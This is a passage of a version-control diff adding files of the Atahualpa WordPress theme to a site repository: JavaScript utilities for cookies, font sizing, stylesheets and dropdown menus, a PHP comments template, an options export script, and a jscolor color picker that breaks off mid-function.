+		mr = parseInt( gs.marginRight );
+		bl = parseInt( gs.borderLeftWidth );
+		br = parseInt( gs.borderRightWidth );
+		ml = ml ? ml : 0;
+		mr = mr ? mr : 0;
+		pl = pl ? pl : 0;
+		pr = pr ? pr : 0;
+		bl = bl ? bl : 0;
+		br = br ? br : 0;
+		ad = pl + pr + ml + mr + bl + br;
+		if ( cw <= minw )
+		{
+			minw -= ad;
+			g.style.width = minw + "px";
+		}
+		else if ( cw > maxw )
+		{
+			maxw -= ad;
+			g.style.width = maxw + "px";
+		}
+		else
+		{
+			g.style.width = "auto";
+		}
+	}
+}
+
+/* Cookie API  v1.0.1
+ * documentation: http://www.dithered.com/javascript/cookies/index.html
+ * license: http://creativecommons.org/licenses/by/1.0/
+ * code (mostly) by Chris Nott (chris[at]dithered[dot]com)
+ */
+function setCookie( name, value, expires, path, domain, secure )
+{
+	 var curCookie = name + "=" + escape(value) +
+		((expires) ? "; expires=" + expires.toGMTString() : "") +
+		((path) ? "; path=" + path : "") +
+		((domain) ? "; domain=" + domain : "") +
+		((secure) ? "; secure" : "");
+	document.cookie = curCookie;
+}
+function getCookie( name )
+{
+	var dc = document.cookie;
+	var prefix = name + "=";
+	var begin = dc.indexOf( "; " + prefix );
+	if ( begin == -1 )
+	{
+		begin = dc.indexOf(prefix);
+		if (begin != 0) return null;
+	}
+	else
+	{
+		begin += 2;
+	}
+	var end = document.cookie.indexOf( ";", begin );
+	if ( end == -1 )
+	{
+		end = dc.length;
+	}
+	return unescape(dc.substring(begin + prefix.length, end));
+}
+function deleteCookie( name, path, domain )
+{
+	var value = getCookie( name );
+	if ( value != null )
+	{
+		document.cookie = name + "=" + 
+			((path) ? "; path=" + path : "") +
+			((domain) ? "; domain=" + domain : "") +
+			"; expires=Thu, 01-Jan-70 00:00:01 GMT";
+	}
+	return value;
+}
+
+/* font size functions operate on the body element's
+ * style and defines sizes in percentages. because
+ * the default font size is set to 0 in the array,
+ * the first value in the font_sizes array should
+ * _ALWAYS_ be 100.
+ *
+ *	var font_sizes = new Array( 100, 110, 120 );
+ *	var current_font_size = 0;
+ *	event_attach( 'onload' , loadFontSize );
+ */
+function loadFontSize()
+{
+	current_font_size = parseInt( '0' + getCookie ( "font_size" ) );
+	setFontSize ( current_font_size );
+}
+function setFontSize( size )
+{
+	if( size >= 0 && size < font_sizes.length )
+	{
+		current_font_size = size;
+	}
+	else if( ++current_font_size >= font_sizes.length )
+	{
+		current_font_size = 0;
+	}
+	if ( document.body )
+	{
+		document.body.style.fontSize = font_sizes[ current_font_size ] + '%';
+		setCookie( "font_size" , current_font_size );
+	}
+}
+
+/* standard trim function to remove leading and trailing 
+ * whitespace from a given string
+ */
+function trim( str )
+{
+   return str.replace(/^\s*|\s*$/g,"");
+}
+
+/* stylesheets should be defined in the HTML via a LINK tag
+ * and rel attribute set to "alternate stylesheet". the title
+ * attribute is then set in the format of "title : group"
+ * this function will disable all but the stylesheet specified
+ * by title in the group specified by group.
+ *
+ * Based on code by Paul Sowden
+ * http://www.alistapart.com/articles/alternate/
+ *        
+ */
+function setActiveStyleSheet( title , group )
+{
+	var i, a, b, g, t;
+	if ( !title || !group )
+	{
+		return;
+	}
+	for ( i = 0; ( a = document.getElementsByTagName( "link" )[ i ] ); i++ ) 
+	{
+		if ( a.getAttribute( "rel" ).indexOf( "style" ) != -1 && a.getAttribute( "title" ) )
+		{
+			b = ( a.getAttribute( "title" ) ).split( ":" );
+			g = trim( b[ b.length - 1 ] );
+			if ( g.toLowerCase() == group.toLowerCase() )
+			{
+				a.disabled = true;
+				t = trim( ( a.getAttribute( "title" ) ).substring( 0, a.getAttribute( "title" ).length - b[ b.length - 1 ].length - 1 ) );
+				if( t.toLowerCase() == title.toLowerCase() )
+				{
+					a.disabled = false;
+				}
+				setCookie( "style_" + g.toLowerCase() , title );
+			}
+		}
+	}
+}
+function getPreferredStylesheet ( group )
+{
+	return ( getCookie ( "style_" + group ) );
+}
+
+/* Son of Suckerfish Dropdowns w/Mac support and IFRAME matting
+ * This attaches an event to each LI element so when the mouseover event triggers,
+ * the element's class is altered to include (and remove on mouseout) an extra class.
+ * We can then use that class, in conjunction with stylesheets, to trigger drop-down
+ * menus that are (mostly) CSS-based.
+ *
+ * The second variable passed to sfHover (noMat), if set to true, will disable
+ * the IFRAME matting used to hide form elements that peek through if the menu
+ * appears over one. Use this option when there's no chance the menu will pop over
+ * a form field as this will remove the lag/performance issues related to using
+ * the IFRAME matting.
+ *
+ * Original:
+ *	http://www.htmldog.com/articles/suckerfish/dropdowns/
+ * Fixes to work with IE/Mac:
+ *	http://carroll.org.uk/sandbox/suckerfish/bones2.html
+ * IFRAME matting to handle hover over form elements: 
+ *	http://homepage.mac.com/igstudio/design/ulsmenus/vertical-uls-iframe-2.html
+ */
+function sfHover ( objID, noMat )
+{
+	var browser = new browser_detect();
+	if ( browser.isIE5up && !browser.isIE7up )
+	{
+		var sfEls = document.getElementById( objID ).getElementsByTagName( "LI" );
+		for (var i=0; i<sfEls.length; i++)
+		{
+			if ( !noMat && !browser.isMac && ( browser.isIE55 || browser.isIE6x ))
+			{
+				sfEls[i].onmouseover = function()
+				{
+					this.className += ( this.className.length > 0 ? " " : "" ) + "sfhover";
+					var ieUL = this.getElementsByTagName( "UL" )[0];
+					if ( ieUL )
+					{
+						var ieMat = document.createElement( "IFRAME" );
+						ieMat.style.width = ieUL.offsetWidth + "px";
+						ieMat.style.height = ieUL.offsetHeight + "px";
+						ieMat.style.filter = "progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)";
+						ieUL.insertBefore( ieMat, ieUL.firstChild );
+						ieMat.style.zIndex = "-1";
+					}
+				}
+				sfEls[i].onmouseout = function()
+				{
+					this.className = this.className.replace( new RegExp( "( ?|^)sfhover\\b" ), "" );
+					var ieUL = this.getElementsByTagName('ul')[0];
+					if (ieUL)
+					{
+						ieUL.removeChild( ieUL.firstChild );
+					}
+				}
+			}
+			else
+			{
+				sfEls[i].onmouseover = function()
+				{
+					this.className += ( this.className.length > 0 ? " " : "" ) + "sfhover";
+				}
+				sfEls[i].onmouseout = function()
+				{
+					this.className = this.className.replace( new RegExp( "( ?|^)sfhover\\b" ), "" );
+				}
+			}
+		}
+	}
+}
+
+/*
+// ///////////////////////////
+// isdefined v1.0
+// 
+// Check if a javascript variable has been defined.
+// 
+// Author : Jehiah Czebotar
+// Website: http://www.jehiah.com
+// Usage  : alert(isdefined('myvar'));
+// ///////////////////////////
+*/
+function isDefined ( variable )
+{
+    return ( typeof( window[ variable ] ) == "undefined" ) ?  false : true;
+}
+
+/* pause()
+ * modified form of code taken from:
+ * http://www.sean.co.uk/a/webdesign/javascriptdelay.shtm
+ */
+function pause ( m )
+{
+	var date = new Date();
+	var curDate = null;
+	do 
+	{
+		curDate = new Date();
+	}
+	while (( curDate - date ) < m );
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/legacy.comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/legacy.comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/legacy.comments.php	(revision 44)
@@ -0,0 +1,234 @@
+<?php // Do not delete these lines
+	if ('legacy.comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die (__('Please do not load this page directly. Thanks!','atahualpa'));
+	if (!empty($post->post_password)) { // if there's a password
+		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
+			?>
+			<p><?php _e('This post is password protected. Enter the password to view comments.','atahualpa'); ?></p>
+			<?php
+			return;
+		}
+	}
+
+	/* This variable is for alternating comment background */
+	$oddcomment = 'class="alt clearfix" ';
+
+global $options;
+foreach ($options as $value) {
+if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } }
+?>
+<!-- You can start editing below: -->
+
+<?php // If there are any comments
+if ($comments) : ?>
+	
+	<h3 id="comments"><?php // Comment Area Title 
+	comments_number(__('No comments yet to ', 'atahualpa'), __('1 comment to ', 'atahualpa'), __('% comments to ', 'atahualpa')); echo get_the_title();
+	?>
+	</h3>
+	
+	<!-- Comment List -->
+	<ol class="commentlist">
+		
+
+		<?php // Traditional or reverse display
+		if ($bfa_ata_comment_display_order == "Oldest on top") { 
+		$comment_number = 1; $all_comments = $comments;
+		} else {
+		$post_data = get_post($post->ID, ARRAY_A); 
+		$comment_number = $post_data['comment_count']; 
+		$all_comments = array_reverse($comments);
+		}
+		
+		// Do this for every comment -->
+		foreach ($all_comments as $comment) : 
+		if ( ($bfa_ata_separate_trackbacks == "Yes" AND get_comment_type() == 'comment') OR $bfa_ata_separate_trackbacks == "No" ) {
+		?>
+
+		<li <?php if ( $bfa_ata_author_highlight == "Yes" AND $comment->comment_author_email == get_the_author_email() ) { echo 'class="authorcomment clearfix" '; } else { echo $oddcomment; } ?>id="comment-<?php comment_ID() ?>">
+			
+			<?php // GRAVATAR
+			if (get_comment_type() == 'comment') {
+			if ($bfa_ata_avatar_size != 0 AND $bfa_ata_avatar_size != "") {
+			if (function_exists('get_avatar')) {
+			echo get_avatar($comment -> comment_author_email, $size=$bfa_ata_avatar_size);} 
+			# if this WP version has no gravatars, use the theme's custom gravatar function:
+			else { if(!empty($comment -> comment_author_email)) {
+				$md5 = md5($comment -> comment_author_email);
+				$default = urlencode(get_bloginfo('template_directory') . '/images/no-gravatar.gif');
+				echo '<img class="avatar" src="http://www.gravatar.com/avatar.php?gravatar_id='.$md5.'&size='.$bfa_ata_avatar_size.'&default='.$default.' alt="'. __('Gravatar','atahualpa') .'" />';
+				}
+			}
+			}
+			}
+			?>
+		
+			<div class="comment-number"><a href="#comment-<?php comment_ID() ?>" title=""><?php echo $comment_number; ?></a></div>
+			
+			<span class="authorname"><?php // Comment Author
+			comment_author_link() ?></span>
+			
+			<?php // Awaiting Moderation Text
+			if ($comment->comment_approved == '0') : 
+			_e('Your comment is awaiting moderation.','atahualpa'); 
+			endif; ?>
+		
+			<br />
+			
+			<span class="commentdate">
+			<?php // Comment Date and Time
+			printf(__('%1$s at %2$s'), get_comment_date(__('F jS, Y','atahualpa')),  get_comment_time()) ?>
+			</span>
+			
+			<?php // Comment Text
+			comment_text() ?>
+			
+			<?php // Edit Comment Link
+			edit_comment_link(__('Edit','atahualpa'),'<span class="editcomment">','</span>'); ?>
+			
+
+		</li>
+
+		<?php $oddcomment = ( $oddcomment == 'class="clearfix" ' ) ? 'class="alt clearfix" ' : 'class="clearfix" '; 
+		if ($bfa_ata_comment_display_order == "Oldest on top") { 
+		$comment_number ++; 
+		} else {
+		$comment_number --;
+		}
+		
+		}
+		endforeach; 
+		// END of "Do this for every comment "
+		?>
+		
+		<!-- Do this for every trackback / pingpack -->
+		<?php  
+		if ($bfa_ata_separate_trackbacks == "Yes") {
+		foreach ($all_comments as $comment) : 
+		if ( get_comment_type() != 'comment') {
+		?>
+
+		<li <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">
+					
+			<div class="comment-number"><a href="#comment-<?php comment_ID() ?>" title=""><?php echo $comment_number; ?></a></div>
+			
+			<?php // Comment Author
+			comment_author_link() ?>:
+			
+			<br />
+			
+			<?php // Comment Date and Time
+			printf(__('%1$s at %2$s'), get_comment_date(__('F jS, Y','atahualpa')),  get_comment_time()) ?>
+			
+			<?php // Edit Comment Link
+			edit_comment_link(__('Edit','atahualpa'),'&nbsp;&nbsp;',''); ?>
+			
+			<?php // Comment Text
+			comment_text() ?>
+
+		</li>
+
+		<?php $oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : ''; 
+		if ($bfa_ata_comment_display_order == "Oldest on top") { 
+		$comment_number ++; 
+		} else {
+		$comment_number --;
+		}
+		
+		}
+		endforeach; 
+		}
+		// END of "Do this for every trackback / pingback "
+		?>
+	
+	</ol>
+	<!-- / Comment List -->
+
+<?php 
+// END of "If there ARE any comments"
+else : 
+// START of "If there are NO comments" 
+?>
+
+	<?php 
+	// If comments are open, but there are no comments:
+	if ('open' == $post->comment_status) : 
+	?>
+		<!-- .... -->
+
+	<?php 
+	// END of "If comments are open, but there are no comments"
+	else : 
+	// If comments are closed:
+	?>
+		<p><?php _e('Comments are closed.','atahualpa'); ?></p>
+	<?php endif; ?>
+
+<?php 
+// END of "If there are NO comments"
+endif; 
+?>
+
+<?php // If comments are open
+if ('open' == $post->comment_status) : ?>
+
+	<h3 class="reply"><?php _e('Leave a Reply','atahualpa'); ?></h3>
+		
+	<?php // If Login is required and User is not logged in 
+	if ( get_option('comment_registration') && !$user_ID ) : ?>
+	<p><?php printf(__('You must be %slogged in</a> to post a comment.', 'atahualpa'), '<a href="' . get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink()) . '">')?></p>
+
+	<?php // If Login is not required, or User is logged in 
+	else : ?>
+		
+		<!-- Comment Form -->
+		<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+			<?php // If User is logged in
+			if ( $user_ID ) : ?>
+			<p>
+			<?php printf(__('Logged in as %s.', 'atahualpa'), '<a href="' . get_option('siteurl') . '/wp-admin/profile.php">' . $user_identity . '</a>')?> 
+			<a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('Log out of this account','atahualpa'); ?>"><?php _e('Logout &raquo;','atahualpa'); ?></a>
+			</p>
+
+			<?php // If User is not logged in: Display the form fields "Name", "Email", "URL"
+			else : ?>
+			<p>
+			<input class="text author" type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="30" tabindex="1" />
+			<label for="<?php _e('author','atahualpa'); ?>"><?php _e('Name ','atahualpa'); if ($req) _e('(required)','atahualpa'); ?></label>
+			</p>
+			<p>
+			<input class="text email" type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="30" tabindex="2" />
+			<label for="<?php _e('email','atahualpa'); ?>"><?php _e('Mail (will not be published) ','atahualpa'); if ($req) _e('(required)','atahualpa'); ?></label>
+			</p>
+			<p>
+			<input class="text url" type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="30" tabindex="3" />
+			<label for="<?php _e('url','atahualpa'); ?>"><?php _e('Website','atahualpa'); ?></label>
+			</p>
+			<?php endif; ?>
+	
+		<!-- Display Quicktags or allowed XHTML Tags -->
+		<?php if (function_exists('lmbbox_comment_quicktags_display')) { echo "<p>"; lmbbox_comment_quicktags_display(); echo "</p>"; } 
+		else { if ($bfa_ata_show_xhtml_tags == "Yes") {	?>
+		<p class="thesetags clearfix"><?php printf(__('You can use %1$sthese HTML tags</a>','atahualpa'), '<a class="xhtmltags" href="#" onclick="return false;">'); ?></p>
+		<div class="xhtml-tags"><p><code><?php echo allowed_tags(); ?></code></p></div>
+		<?php }	} ?>
+	
+		<!-- Comment Textarea -->
+		<p><textarea name="comment" id="comment" rows="10" cols="10" tabindex="4"></textarea></p>
+		<?php do_action('comment_form', $post->ID); ?>
+		
+		<!-- Submit -->
+		<p><input name="submit" type="submit" class="button" id="submit" tabindex="5" value="<?php _e('Submit Comment','atahualpa'); ?>" />
+		<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+		</p>
+		
+		</form>
+		</div><!-- / respond -->
+		<!-- / Comment Form -->
+
+	<?php endif; ?>
+	<!-- / If Login is not required, or User is logged in -->
+	
+<?php endif; ?>
+<!-- If comments are open -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/export.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/export.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/export.php	(revision 44)
@@ -0,0 +1,30 @@
+<?php
+// Find wp-load.php so we can access the database from within our non-standard, external file here
+$d = 0; // search depth;
+while (!file_exists(str_repeat('../', $d) . 'wp-load.php')) if (++$d > 99) exit;
+$wp_load = str_repeat('../', $d) . 'wp-load.php';
+require_once($wp_load);
+
+global $wpdb;
+
+// get all option names and options values from the WP Options table where the option name starts with "bfa_ata_"
+$atahualpa_options = $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options WHERE option_name REGEXP '^bfa_ata_'");
+
+// output the header
+$filename = 'atahualpa.options.' . str_replace("http://","",get_option('siteurl')) . "." . date('Y-m-d') . '.xml';
+header('Content-Description: File Transfer');
+header("Content-Disposition: attachment; filename=$filename");
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+
+// output the file
+echo '<?xml version="1.0" encoding="' . get_bloginfo('charset') . '"?' . ">\n";
+
+echo "<atahualpa_options>\n";
+// Loop through the database query that we got earlier
+foreach ($atahualpa_options as $atahualpa_option) {
+        echo "<" . $atahualpa_option->option_name . ">\n";
+        echo htmlspecialchars($atahualpa_option->option_value);
+        echo "\n</" . $atahualpa_option->option_name . ">\n";
+    }
+echo"</atahualpa_options>\n";
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/jscolor/jscolor.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/jscolor/jscolor.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/jscolor/jscolor.js	(revision 44)
@@ -0,0 +1,606 @@
+/**
+ * JavaScript Color Picker
+ *
+ * @author    Honza Odvarko, http://odvarko.cz
+ * @copyright Honza Odvarko
+ * @license   http://www.gnu.org/copyleft/gpl.html  GNU General Public License
+ * @version   1.0.8
+ * @link      http://jscolor.com
+ */
+
+
+jscolor_register() // register jscolor_init() at page load
+
+
+function jscolor_register() {
+	if(typeof window.onload == 'function') {
+		var f = window.onload
+		window.onload = function() {
+			if(f)/* IE7 */ f()
+			jscolor_init()
+		}
+	} else {
+		window.onload = jscolor_init
+	}
+}
+
+
+function jscolor_init() {
+
+	// bind <input class="..."> elements
+	var bindClass = 'color'
+
+	// set field's background according selected color?
+	var reflectOnBackground = true
+
+	// prepend field's color code with #
+	var leadingHash = false
+
+	// allow an empty value in the field instead of setting it to #000000
+	var allowEmpty = false
+
+	// spectrum's width and height
+	var HVSize = [ 180, 101 ] // normal
+	//var HVSize = [ 120, 69 ] // small
+	//var HVSize = [ 102, 61 ] // tiny
+
+	var padding = 10
+	var borderWidth = 1
+	var HVCrossSize = [ 15, 15 ]
+	var SSize = 22
+	var SArrowSize = [ 7, 11 ]
+	var SSampleSize = 4
+	var ClientSliderSize = 18
+
+	var instanceId = 0
+	var instance
+	var elements = {}
+
+	var dir = function() {
+		var base = location.href
+
+		var e = document.getElementsByTagName('base')
+		for(var i=0; i<e.length; i++) {
+			if(e[i].href) base = e[i].href
+		}
+
+		var e = document.getElementsByTagName('script')
+		for(var i=0; i<e.length; i++) {
+			if(e[i].src) {
+				var src = new URI(e[i].src)
+				if(/\/jscolor\.js$/.test(src.path)) {
+					var srcAbs = src.toAbsolute(base).toString()
+					delete srcAbs.query
+					delete srcAbs.fragment
+					return srcAbs.replace(/[^\/]+$/, '') // remove filename from path
+				}
+			}
+		}
+		return false
+	}()
+
+
+	function createDialog() {
+
+		// dialog
+		elements.dialog = document.createElement('div')
+		setStyle(elements.dialog, {
+			'zIndex' : '100',
+			'clear' : 'both',
+			'position' : 'absolute',
+			'width' : HVSize[0]+SSize+3*padding+'px',
+			'height' : HVSize[1]+2*padding+'px',
+			'border' : borderWidth+'px solid ThreeDHighlight',
+			'borderRightColor' : 'ThreeDShadow', 'borderBottomColor' : 'ThreeDShadow',
+			'background' : "url('"+dir+"hv"+HVSize[0]+'x'+HVSize[1]+".png') "+padding+"px "+padding+"px no-repeat ThreeDFace"
+		})
+		elements.dialog.onmousedown = function() {
+			instance.preserve = true
+		}
+		elements.dialog.onmousemove = function(e) {
+			if(instance.holdHV) setHV(e)
+			if(instance.holdS) setS(e)
+		}
+		elements.dialog.onmouseup = elements.dialog.onmouseout = function() {
+			if(instance.holdHV || instance.holdS) {
+				instance.holdHV = instance.holdS = false
+				if(typeof instance.input.onchange == 'function') instance.input.onchange()
+			}
+			instance.input.focus()
+		}
+
+		// hue/value spectrum
+		elements.hv = document.createElement('div')
+		setStyle(elements.hv, {
+			'position' : 'absolute',
+			'left' : '0',
+			'top' : '0',
+			'width' : HVSize[0]+2*padding+'px',
+			'height' : HVSize[1]+2*padding+'px',
+			'background' : "url('"+dir+"cross.gif') no-repeat",
+			'cursor' : 'crosshair'
+		})
+		var setHV = function(e) {
+			var p = getMousePos(e)
+			var relX = p[0]<instance.posHV[0] ? 0 : (p[0]-instance.posHV[0]>HVSize[0]-1 ? HVSize[0]-1 : p[0]-instance.posHV[0])
+			var relY = p[1]<instance.posHV[1] ? 0 : (p[1]-instance.posHV[1]>HVSize[1]-1 ? HVSize[1]-1 : p[1]-instance.posHV[1])
+			instance.color.setHSV(6/HVSize[0]*relX, null, 1-1/(HVSize[1]-1)*relY)
+			updateDialogPointers()
+			updateDialogSaturation()
+			updateInput(instance.input, instance.color, null)
+		}
+		elements.hv.onmousedown = function(e) { instance.holdHV = true; setHV(e) }
+		elements.dialog.appendChild(elements.hv)
+
+		// saturation gradient
+		elements.grad = document.createElement('div')
+		setStyle(elements.grad, {
+			'position' : 'absolute',
+			'left' : HVSize[0]+SArrowSize[0]+2*padding+'px',
+			'top' : padding+'px',
+			'width' : SSize-SArrowSize[0]+'px'
+		})
+		// saturation gradient's samples
+		for(var i=0; i+SSampleSize<=HVSize[1]; i+=SSampleSize) {
+			var g = document.createElement('div')
+			g.style.height = SSampleSize+'px'
+			g.style.fontSize = '1px'
+			g.style.lineHeight = '0'
+			elements.grad.appendChild(g)
+		}
+		elements.dialog.appendChild(elements.grad)
+
+		// saturation slider
+		elements.s = document.createElement('div')
+		setStyle(elements.s, {
+			'position' : 'absolute',
+			'left' : HVSize[0]+2*padding+'px',
+			'top' : '0',
+			'width' : SSize+padding+'px',
+			'height' : HVSize[1]+2*padding+'px',
+			'background' : "url('"+dir+"s.gif') no-repeat"
+		})
+		// IE 5 fix
+		try {
+			elements.s.style.cursor = 'pointer'
+		} catch(eOldIE) {
+			elements.s.style.cursor = 'hand'
+		}
+		var setS = function(e) {
+			var p = getMousePos(e)
+			var relY = p[1]<instance.posS[1] ? 0 : (p[1]-instance.posS[1]>HVSize[1]-1 ? HVSize[1]-1 : p[1]-instance.posS[1])
+			instance.color.setHSV(null, 1-1/(HVSize[1]-1)*relY, null)
+			updateDialogPointers()
+			updateInput(instance.input, instance.color, null)
+		}
+		elements.s.onmousedown = function(e) { instance.holdS = true; setS(e) }
+		elements.dialog.appendChild(elements.s)
+	}
+
+
+	function showDialog(input) {
+		var is = [ input.offsetWidth, input.offsetHeight ]
+		var ip = getElementPos(input)
+		var sp = getScrollPos()
+		var ws = getWindowSize()
+		var ds = [
+			HVSize[0]+SSize+3*padding+2*borderWidth,
+			HVSize[1]+2*padding+2*borderWidth
+		]
+		var dp = [
+			-sp[0]+ip[0]+ds[0] > ws[0]-ClientSliderSize ? (-sp[0]+ip[0]+is[0]/2 > ws[0]/2 ? ip[0]+is[0]-ds[0] : ip[0]) : ip[0],
+			-sp[1]+ip[1]+is[1]+ds[1] > ws[1]-ClientSliderSize ? (-sp[1]+ip[1]+is[1]/2 > ws[1]/2 ? ip[1]-ds[1] : ip[1]+is[1]) : ip[1]+is[1]
+		]
+
+		instanceId++
+		instance = {
+			input : input,
+			color : new color(input.value),
+			preserve : false,
+			holdHV : false,
+			holdS : false,
+			posHV : [ dp[0]+borderWidth+padding, dp[1]+borderWidth+padding ],
+			posS : [ dp[0]+borderWidth+HVSize[0]+2*padding, dp[1]+borderWidth+padding ]
+		}
+
+		updateDialogPointers()
+		updateDialogSaturation()
+
+		elements.dialog.style.left = dp[0]+'px'
+		elements.dialog.style.top = dp[1]+'px'
+		document.getElementsByTagName('body')[0].appendChild(elements.dialog)
+	}
+
+
+	function hideDialog() {
+		var b = document.getElementsByTagName('body')[0]
+		b.removeChild(elements.dialog)
+
+		instance = null
+	}
+
+
+	function updateDialogPointers() {
+		// update hue/value cross
+		var x = Math.round(instance.color.hue/6*HVSize[0])
+		var y = Math.round((1-instance.color.value)*(HVSize[1]-1))
+		elements.hv.style.backgroundPosition =
+			(padding-Math.floor(HVCrossSize[0]/2)+x)+'px '+
+			(padding-Math.floor(HVCrossSize[1]/2)+y)+'px'
+
+		// update saturation arrow
+		var y = Math.round((1-instance.color.saturation)*HVSize[1])
+		elements.s.style.backgroundPosition = '0 '+(padding-Math.floor(SArrowSize[1]/2)+y)+'px'
+	}
+
+
+	function updateDialogSaturation() {
+		// update saturation gradient
+		var r, g, b, s, c = [ instance.color.value, 0, 0 ]
+		var i = Math.floor(instance.color.hue)
+		var f = i%2 ? instance.color.hue-i : 1-(instance.color.hue-i)
+		switch(i) {
+			case 6:
+			case 0: r=0;g=1;b=2; break
+			case 1: r=1;g=0;b=2; break
+			case 2: r=2;g=0;b=1; break
+			case 3: r=2;g=1;b=0; break
+			case 4: r=1;g=2;b=0; break
+			case 5: r=0;g=2;b=1; break
+		}
+		var gr = elements.grad.childNodes
+		for(var i=0; i<gr.length; i++) {
+			s = 1 - 1/(gr.length-1)*i
+			c[1] = c[0] * (1 - s*f)
+			c[2] = c[0] * (1 - s)
+			gr[i].style.backgroundColor = 'rgb('+(c[r]*100)+'%,'+(c[g]*100)+'%,'+(c[b]*100)+'%)'
+		}
+	}
+
+
+	function bindInputs() {
+		var onfocus = function() {
+			if(instance && instance.preserve) {
+				instance.preserve = false
+			} else {
+				showDialog(this)
+			}
+		}
+		var onblur = function() {
+			if(instance && instance.preserve) return
+
+			var This = this
+			var Id = instanceId
+			setTimeout(function() {
+				if(instance && instance.preserve) return
+
+				if(instance && instanceId == Id) hideDialog() // if dialog hasn't been already shown by another instance
+				updateInput(This, new color(This.value), This.value)
+			}, 0)
+		}
+		var setcolor = function(str) {
+			var c = new color(str)
+			updateInput(this, c, str)
+			if(instance && instance.input == this) {
+				instance.color = c
+				updateDialogPointers()
+				updateDialogSaturation()
+			}
+		}
+
+		var e = document.getElementsByTagName('input')
+		var matchClass = new RegExp('\\s'+bindClass+'\\s')
+
+		for(var i=0; i<e.length; i++) {
+			if(e[i].type == 'text' && matchClass.test(' '+e[i].className+' ')) {
+
+				e[i].originalStyle = {
+					'color' : e[i].style.color,
+					'backgroundColor' : e[i].style.backgroundColor
+				}
+				e[i].setAttribute('autocomplete', 'off')
+				e[i].onfocus = onfocus
+				e[i].onblur = onblur
+				e[i].setcolor = setcolor
+
+				updateInput(e[i], new color(e[i].value), e[i].value)
+			}
+		}
+	}
+
+
+	function updateInput(e, color, realValue) {
+		if(allowEmpty && realValue != null && !/^\s*#?([0-9A-F]{3}([0-9A-F]{3})?)\s*$/i.test(realValue)) {
+			e.value = ''
+			if(reflectOnBackground) {
+				e.style.backgroundColor = e.originalStyle.backgroundColor
+				e.style.color = e.originalStyle.color
+			}
+		} else {
+			e.value = (leadingHash?'#':'')+color
+			if(reflectOnBackground) {
+				e.style.backgroundColor = '#'+color
+				e.style.color =
+					0.212671 * color.red +
+					0.715160 * color.green +
+					0.072169 * color.blue
+					< 0.5 ? '#FFF' : '#000'
+			}
+		}
+	}
+
+
+	function setStyle(e, properties) {
+		for(var p in properties) eval('e.style.'+p+' = properties[p]')
+	}
+
+
+	function getElementPos(e) {
+		var x=0, y=0
+		if(e.offsetParent) {
+			do {
+				x += e.offsetLeft
+				y += e.offsetTop
+			} while(e = e.offsetParent)
+		}
+		return [ x, y ]
+	}
+
+
+	function getMousePos(e) {
+		if(!e) var e = window.event
+		var x=0, y=0
+		if(typeof e.pageX == 'number') {
+			x = e.pageX
+			y = e.pageY
+		} else if(typeof e.clientX == 'number') {
+			x = e.clientX+document.documentElement.scrollLeft+document.body.scrollLeft
+			y = e.clientY+document.documentElement.scrollTop+document.body.scrollTop
+		}
+		return [ x, y ]
+	}
+
+
+	function getScrollPos() {
+		var x=0, y=0
+		if(typeof window.pageYOffset == 'number') {
+			x = window.pageXOffset
+			y = window.pageYOffset
+		} else if(document.body && (document.body.scrollLeft || document.body.scrollTop)) {
+			x = document.body.scrollLeft
+			y = document.body.scrollTop
+		} else if(document.documentElement && (document.documentElement.scrollLeft || document.documentElement.scrollTop)) {
+			x = document.documentElement.scrollLeft
+			y = document.documentElement.scrollTop
+		}
+		return [ x, y ]
+	}
+
+
+	function getWindowSize() {
+		var w=0, h=0
+		if(typeof window.innerWidth == 'number') {
+			w = window.innerWidth
+			h = window.innerHeight
+		} else if(document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight)) {
+			w = document.documentElement.clientWidth
+			h = document.documentElement.clientHeight
+		} else if(document.body && (document.body.clientWidth || document.body.clientHeight)) {
+			w = document.body.clientWidth
+			h = document.body.clientHeight
+		}
+		return [ w, h ]
+	}
+
+
+	function color(hex) {
+
+		this.hue        = 0 // 0-6
+		this.saturation = 0 // 0-1
+		this.value      = 0 // 0-1
+
+		this.red   = 0 // 0-1
+		this.green = 0 // 0-1
+		this.blue  = 0 // 0-1
+
+		this.setRGB = function(r, g, b) { // null = don't change
+			var hsv = RGB_HSV(
+				r==null ? this.red : (this.red=r),
+				g==null ? this.green : (this.green=g),
+				b==null ? this.blue : (this.blue=b)
+			)
+			if(hsv[0] != null) {
+				this.hue = hsv[0]
+			}
+			this.saturation = hsv[1]
+			this.value = hsv[2]
+		}
+
+		this.setHSV = function(h, s, v) { // null = don't change
+			var rgb = HSV_RGB(
+				h==null ? this.hue : (this.hue=h),
+				s==null ? this.saturation : (this.saturation=s),
+				v==null ? this.value : (this.value=v)
+			)
+			this.red   = rgb[0]
+			this.green = rgb[1]
+			this.blue  = rgb[2]
+		}
+
+		function RGB_HSV(r, g, b) {
+			var n = Math.min(Math.min(r,g),b)
